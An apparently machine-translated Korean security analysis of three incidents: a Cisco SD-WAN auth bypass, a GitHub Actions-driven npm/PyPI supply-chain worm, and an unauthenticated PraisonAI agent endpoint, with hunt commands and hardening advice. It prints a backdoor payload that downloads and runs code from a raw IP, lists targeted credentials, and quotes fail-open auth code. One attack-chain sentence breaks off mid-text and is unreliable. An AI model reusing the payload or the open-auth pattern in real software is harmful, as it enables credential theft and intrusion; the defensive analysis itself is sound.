툴체인이 킬체인이 된 주간: 인프라를 겨냥한 세 가지 보안 사고 분석
요약
최근 엔드포인트를 우회하여 네트워크 제어 평면, 소프트웨어 공급망, AI 오케스트레이션 계층을 직접 겨냥한 세 건의 인프라 보안 사고가 발생했습니다. 특히 Cisco Catalyst SD-WAN의 인증 우회 취약점(CVE-2026-20182)은 CVSS 10.0의 심각도를 기록하며 위협 행위자 UAT-8616에 의해 활발히 악용되고 있습니다.
핵심 포인트
- Cisco Catalyst SD-WAN의 제어 연결 핸드셰이크 결함으로 인해 인증되지 않은 원격 공격자가 관리자 권한을 획득할 수 있음
- 위협 행위자 UAT-8616은 SSH 키 주입, NETCONF 명령 실행, 로그 삭제 등의 플레이북을 사용하여 침투 후 활동을 수행함
- CISA는 해당 취약점을 KEV 카탈로그에 추가하고 연방 기관에 긴급 조치를 명령함
- 운영자는 auth.log 내 예상치 못한 SSH 키 인증 여부와 challenge-ack 값이 0인 제어 연결을 즉시 점검해야 함
이번 주 5일 동안 세 건의 사고가 발생했습니다. 공격 표면(Attack surface), 기술, 위협 행위자(Threat actor)는 모두 달랐습니다. 이들의 공통점은 엔드포인트(Endpoint)를 전혀 건드리지 않았다는 점입니다. 세 건 모두 개발 및 운영 팀이 무조건적으로 신뢰하는 인프라, 즉 네트워크 제어 평면(Network control plane), 소프트웨어 공급망(Software supply chain), 그리고 AI 오케스트레이션 계층(AI orchestration layer)을 직접 겨냥했습니다. 어떤 일이 일어났는지, 그리고 이에 대해 무엇을 해야 하는지 설명하겠습니다.
CVE-2026-20182: Cisco Catalyst SD-WAN의 CVSS 10.0 인증 우회(Auth Bypass)
이 취약점이 만점의 심각도 점수를 받은 데에는 이유가 있습니다. 결함은 제어 연결 핸드셰이크(Control connection handshake) 과정에 존재합니다. 이는 Cisco Catalyst SD-WAN Controller와 Manager(이전의 vSmart 및 vManage)가 피어(Peer)와 신뢰를 구축하는 프로세스입니다. 인증되지 않은 원격 공격자가 조작된 요청을 보내 핸드셰이크 과정의 검증 실패를 악용하면, 관리자 권한을 가진 인증된 피어로 변모하게 됩니다. 자격 증명도, 사전 접근 권한도 필요 없습니다. 단지 프로토콜 내의 깨진 신뢰 로직만 있으면 됩니다.
CISA는 5월 14일에 이를 알려진 악용 취약점(Known Exploited Vulnerabilities) 카탈로그에 추가했으며, 이 캠페인이 처음 등장했을 당시인 2월에 발행되었던 긴급 지침(Emergency Directive) 26-03을 강화하여 연방 기관들이 5월 17일까지 조치를 완료하도록 했습니다. 3일입니다. 이것은 일반적인 패치 기간이 아니라, 준수 마감일(Compliance deadline)의 탈을 쓴 사고 대응(Incident response) 타임라인입니다.
공격자가 침입한 후 수행하는 작업:
Cisco Talos는 이 활성 악용 사례를 최소 2023년부터 SD-WAN 인프라를 특정하여 공격해 온 위협 행위자인 UAT-8616의 소행으로 규정했습니다.
여러 침입 사례에서 관찰된 이들의 침해 후 플레이북(post-compromise playbook)은 다음과 같습니다:
- vmanage-admin의 authorized_keys 파일에 SSH 키 주입 (SSH key injection)
- 전체 SD-WAN 패브릭(fabric)의 설정을 조작하기 위한 NETCONF 명령 실행
- 악성 계정 생성
- 루트 권한 상승 (root escalation)을 위해 CVE-2022-20775를 노출시키려는 소프트웨어 버전 다운그레이드
- 증거 인멸을 위한 광범위한 로그 삭제
이들의 인프라는 Operational Relay Box 네트워크와 중첩되며, 이로 인해 활동의 주체를 식별(attribution)하고 추적하는 것이 어렵습니다.
지금 즉시 확인해야 할 사항
CISA의 ED 26-03 헌트 가이드(hunt guidance)에는 다음과 같은 구체적인 로그 점검 사항이 포함되어 있습니다. Cisco Catalyst SD-WAN을 운영 중이라면 다른 무엇보다 먼저 다음을 실행하십시오:
예상치 못한 vmanage-admin SSH 키 인증이 있는지 auth.log 확인
grep "Accepted publickey for vmanage-admin" /var/log/auth.log
challenge-ack 값이 0인 제어 연결(control connections) 확인 (미승인 피어(peer)일 가능성 있음)
show control connections detail
show control connections-history detail
다음 항목 확인: state:up AND challenge-ack: 0
CISA는 KEV 카탈로그에 CVE-2026-20127, CVE-2026-20133, CVE-2026-20182가 포함되었음을 확인했으며, 지침 가이드에는 추가적인 CVE들이 참조되어 있습니다. 모든 지원되는 릴리스에 대해 패치가 제공됩니다. 즉시 패치할 수 없는 경우, 관리 인터페이스(management interface) 액세스를 신뢰할 수 있는 IP로 제한하고 컨트롤러를 공용 인터넷 노출로부터 격리하십시오.
Mini Shai-Hulud: GitHub Actions가 당신을 대신해 악성코드를 배포할 때
이것은 올해 현재까지 가장 주목할 만한 공급망(supply chain) 사건이며, 이 기술은 이를 방지하기 위해 특별히 설계된 통제 수단들을 무력화했기 때문에 상세히 이해할 가치가 있습니다. 5월 11일, 위협 행위자 TeamPCP는 48시간 동안 npm과 PyPI에서 403개의 악성 버전에 걸쳐 172개의 패키지를 침해했습니다. 여러 보안 연구원과 권고 사항을 통해 보고된 타겟에는 @tanstack 네임스페이스 전체, Mistral AI의 공식 SDK, UiPath 자동화 툴링, OpenSearch, 그리고 Guardrails AI가 포함되었습니다. @tanstack/react-router 하나만 해도 공격 당시 주간 다운로드 수가 1,200만 회가 넘었습니다.
하지만 패키지의 숫자가 흥미로운 부분은 아닙니다. 진짜 흥미로운 것은 공격 체인 (Attack chain)입니다. 세 가지 취약점 체인 (Three-vulnerability chain) TeamPCP는 npm 자격 증명 (Credentials)을 훔치지 않았습니다. 그들은 TanStack 자체의 릴리스 파이프라인 (Release pipeline)을 하이재킹하여 합법적인 신원을 통해 패키지를 게시했습니다. 공격 체인은 다음과 같습니다:
1단계 -- pull_request_target 설정 오류를 통한 요청 탈취 (Pwn Request via pull_request_target misconfiguration)
공격자는 TanStack/router를 포크 (Fork)한 뒤, 포크 목록 검색에 걸리지 않도록 포크 이름을 zblgg/configuration으로 변경하고 풀 리퀘스트 (Pull request)를 보냈습니다. GitHub Actions의 pull_request_target 트리거는 외부 포크에서 온 코드에 대해서도 쓰기 권한 (Write permissions)을 가진 상태로 워크플로 (Workflow)를 실행합니다. 이를 통해 공격자의 포크 코드가 권한이 부여된 컨텍스트 (Privileged context)에서 실행될 수 있었습니다.
2단계 -- GitHub Actions 캐시 포이즈닝 (GitHub Actions cache poisoning)
공격자의 코드는 TanStack의 합법적인 릴리스 워크플로가 조회할 해시 (Hash) 값과 일치하도록 키가 설정된 1.1 GB 크기의 악성 항목을 pnpm 스토어 캐시 (Store cache)에 주입(Poisoning)했습니다. actions/cache@v5는 캐시 저장 시 워크플로의 GITHUB_TOKEN이 아닌 러너 (Runner) 내부 토큰을 사용합니다. 따라서 permissions: contents: read 설정을 하더라도 포크에 의해 트리거된 워크플로로부터 발생하는 캐시 변조 (Cache mutation)를 방지할 수 없습니다.
3단계 -- 러너 메모리에서의 OIDC 토큰 추출 (OIDC token extraction from runner memory)
TanStack의 합법적인 release.yml 워크플로가 실행되었을 때, 오염된 캐시가 복원되었습니다. 주입된 코드는 /proc/<pid>/mem을 통해 GitHub Actions 러너의 프로세스 메모리 (Process memory)를 읽고, {
PyPI 측면: mistralai 2.4.6 및 guardrails-ai 0.10.1 페이로드 (Payload)는 다른 메커니즘을 사용했습니다. 설치 시가 아닌, 임포트 (Import) 시점에 실행되는 init.py 파일에 추가된 백도어 (Backdoor) 방식입니다:
mistralai 2.4.6의 __init__에 추가된 페이로드
import subprocess as _sub , os as _os , sys as _sys
_url = " https://83.142.209.194/transformers.pyz "
_dest = " /tmp/transformers.pyz "
_sub . run ([ " curl " , " -k " , " -L " , " -s " , _url , " -o " , _dest ], timeout = 15 )
_sub . Popen ([ _sys . executable , _dest ])
-k 플래그에 주목하십시오. TLS 검증 (TLS verification)이 비활성화되었습니다. 이 페이로드는 Linux에서만 실행되며, 러시아어 설정이 감지되거나 CPU 코어가 4개 미만인 경우 종료됩니다. PyPI는 mistralai 프로젝트 전체를 격리 (Quarantine)했습니다. 공격 기간 동안 import mistralai를 실행한 모든 환경은 설치 자체가 샌드박스 (Sandbox)에서 실행되었는지 여부와 관계없이 침해된 것으로 간주해야 합니다.
이 악성코드가 목표로 하는 대상은 다음과 같습니다: GitHub Actions OIDC 토큰, GitLab 및 CircleCI 토큰, AWS IMDSv2 자격 증명 (Credentials), GCP 및 Azure 자격 증명, Kubernetes 서비스 계정 토큰, HashiCorp Vault 토큰, npm 및 PyPI 게시 (Publish) 토큰, 그리고 이번 공격에서 새롭게 추가된 1Password 및 Bitwarden 비밀번호 금고 (Password vault) 내용입니다. 데이터 유출 채널 (Exfiltration channels)에는 타이포스쿼팅 (Typosquat) 도메인 (git-tanstack[.]com), Session 암호화 메신저 네트워크, 그리고 탈취된 토큰을 사용하여 생성된 GitHub 저장소 (Repositories)가 포함됩니다.
5월 11일~12일에 영향을 받은 패키지를 실행한 경우 조치 사항:
침해된 패키지가 실행된 모든 환경에서 다음 항목을 모두 교체(Rotate)하십시오:
- npm 토큰
- GitHub 개인 액세스 토큰 (Personal access tokens) 및 Actions 비밀값 (Secrets)
- AWS, GCP, Azure 자격 증명
- Kubernetes 서비스 계정 토큰
- HashiCorp Vault 토큰
- 배포 비밀값 (Deployment secrets) 및 SSH 키
- npm 및 PyPI 게시 토큰
npm 토큰에서 멈추지 마십시오.
다음 지속성 지표(persistence indicators)를 확인하십시오:
웜(worm) 지속성 파일 확인
find ~ -path '/.claude/setup.mjs' -o -path '/.vscode/setup.mjs'
find ~/.config -name 'gh-token-monitor'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'
실행 중인 웜 프로세스 확인
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'
Linux 상의 PyPI 페이로드(payload) 확인
find /tmp -name 'transformers.pyz'
DNS/프록시(proxy) 수준에서 차단: git-tanstack.com 및 *.getsession.org
이러한 유형의 공격에 대해 GitHub Actions를 강화하는 방법
여기서 체이닝(chained)된 세 가지 취약점은 모두 문서화되어 있으며 예방 가능합니다:
# 쓰기 권한(write permissions)이 필요한 워크플로(workflows)에는 pull_request_target를 사용하지 마십시오.
# 신뢰할 수 있는 작성자(trusted authors)에 대해 명시적으로 게이트(gate)를 설정하지 않는 한:
on:
pull_request:
# 신뢰할 수 없는 코드 유형에 대해서는 pull_request_target이 아닌 pull_request를 사용하십시오.
types: [ opened, synchronize ]
# 권한을 명시적으로 제한(Scope permissions explicitly)
permissions:
contents: read
id-token: write # OIDC 게시가 필요한 경우에만
# 액션(actions)을 태그(tags)가 아닌 커밋 SHA(commit SHAs)로 고정(Pin)
uses: actions/cache@1bd1e32a3bdc45362d1e726936510720a7c6158d # v4.2.2
캐시 포이즈닝(cache poisoning) 벡터는 actions/cache가 저장(saves)을 위해 러너 내부 토큰(runner-internal token)을 사용하기 때문에 완전히 차단하기가 더 어렵습니다. 어떤 워크플로가 캐시에 쓸 수 있는지 제한하고, OIDC 게시 권한을 가진 릴리스 워크플로(release workflows)의 경우 별도의 격리된 러너(isolated runner)를 사용하는 것을 고려하십시오.
CVE-2026-44338: 당신의 AI 에이전트(AI Agent)가 듣고 있으며, 당신이 시키는 대로 할 것입니다
PraisonAI는 자율형 AI 에이전트(autonomous AI agents)를 구축하기 위한 멀티 에이전트 오케스트레이션 프레임워크(multi-agent orchestration framework)입니다. 공개 당시 GitHub 스타(stars) 수는 약 7,000개였습니다. 주요 엔터프라이즈 플랫폼은 아니지만, 워크플로를 자동화하는 팀들이 보안 기본 설정(security defaults)을 검토하기도 전에 빠르게 도입하게 되는 바로 그런 종류의 도구입니다. 이 취약점은 당혹스러울 정도로 단순합니다.
레거시(Legacy) Flask API 서버는 다음과 같은 설정으로 배포됩니다:
# src/praisonai/api_server.py
AUTH_ENABLED = False
AUTH_TOKEN = None
def check_auth():
if not AUTH_ENABLED:
return True # 인증이 비활성화된 경우 항상 통과
# ... 실제 인증 검사는 여기에 도달하지 못함
그 결과, 두 개의 엔드포인트(Endpoint)가 완전히 개방된 상태(Fail open)로 방치됩니다:
- GET /agents
- 에이전트 파일 이름을 포함한 모든 구성된 에이전트 메타데이터 및 에이전트 목록을 반환합니다.
- 인증(Auth)이 필요하지 않습니다.
- POST /chat
- 본문(Body):
{"message": "anything"} - 메시지 내용과 관계없이
agents.yaml워크플로(Workflow)를 실행합니다. - 인증(Auth)이 필요하지 않습니다.
- 본문(Body):
POST /chat 엔드포인트는 메시지 값을 완전히 무시합니다. 대신 PraisonAI(agent_file="agents.yaml").run()을 직접 호출합니다. 귀하의 워크플로가 무엇을 하도록 구성되어 있든—LLM API 호출, 셸 실행(Shell execution), 파일 I/O, 외부 통합 등—인증되지 않은 호출자라면 누구나 이를 트리거할 수 있습니다. 또한 서버는 기본적으로 0.0.0.0:8080에 바인딩(Bind)되므로, 네트워크를 통해 접근 가능하다면 완전히 노출됩니다.
공격 타임라인
- 5월 11일 13:56 UTC: CVE-2026-44338에 대한 GitHub 어드바이저리(Advisory) GHSA-6rmh-7xcm-cpxj 게시
- 5월 11일 17:40 UTC: Sysdig에서 특정 취약 엔드포인트에 대한 첫 번째 활성 프로브(Probe) 관측
단 3시간 44분이 걸렸습니다. 스캐너는 자신을 CVE-Detector/1.0으로 식별했으며, Authorization 헤더 없이 정확히 /agents 엔드포인트를 타겟팅했습니다. 스캐너는 에이전트 구성 정보가 담긴 HTTP 200 응답을 받았습니다. 이는 어드바이저리가 공개된 지 4시간 이내에 실제 노출된 인스턴스를 대상으로 공격이 성공했음을 확인해 줍니다.
이것은 대규모 프로젝트가 아닙니다. AI 에이전트 표면을 스캔하는 공격자 도구들은 프로젝트의 규모나 스타(Star) 수에는 관심이 없습니다. 인터넷에 노출된 모든 에이전틱 프레임워크(Agentic framework)가 공격 범위에 포함됩니다.
해결 방법
레거시 API 서버 동작을 제거한 PraisonAI 4.6.34 또는 그 이후 버전으로 업데이트하십시오.
즉시 패치할 수 없는 경우:
- 방화벽을 사용하여 API 서버에 대한 네트워크 액세스를 제한하십시오. 인터넷에 노출된 상태로 두지 마십시오.
- localhost에 바인딩되고 API 키 인증을 지원하는 최신 서버 에이전트 명령으로 전환하십시오.
agents.yaml을 감사하십시오. 인증되지 않은 워크플로 (workflow) 트리거가 실제 환경에서 어떤 동작을 수행할지 파악하십시오.
더 넓은 교훈: 0.0.0.0에 바인딩되어 있거나, 인증이 비활성화 또는 검증되지 않았거나, 프로덕션 환경에서 인증되지 않은 워크플로 트리거가 무엇을 하는지 평가되지 않은 모든 AI 에이전트 배포는 노출 상태입니다. 취약점 공개와 활성 스캐닝 사이의 시간 간격은 이제 몇 시간 단위로 단축되었으며, 공격자의 도구들은 AI 에이전트 공격 표면 (attack surface)에 맞춰 특별히 설계되었습니다.
공통점
이 중 어느 것도 침해된 엔드포인트나 피싱 이메일을 필요로 하지 않았습니다. UAT-8616은 SD-WAN 컨트롤러로 직행했습니다. TeamPCP는 개발자를 완전히 우회하여 자체 파이프라인을 통해 게시되었습니다. PraisonAI 스캐너는 그것이 무엇을 하는지 이해할 필요 없이 에이전트 워크플로를 트리거했습니다.
공격 표면이 이동했습니다. 네트워크 제어 평면 (control planes), CI/CD 파이프라인, 그리고 AI 오케스트레이션 계층은 프로덕션 애플리케이션 환경만큼 엄격하게 관리되지 않으며, 이를 악용하는 사람들은 이를 분명히 인지하고 있습니다. 만약 귀하의 위협 모델 (threat model)에 툴체인 (toolchain) 자체가 포함되어 있지 않다면, 이번 주는 이를 업데이트해야 한다는 타당한 근거가 될 것입니다.
추가적인 맥락이 포함된 전체 분석은 공식 버전에서 확인할 수 있습니다: https://blog.vertexops.org/the-week-the-toolchain-became-the-kill-chain
AI 자동 생성 콘텐츠
본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기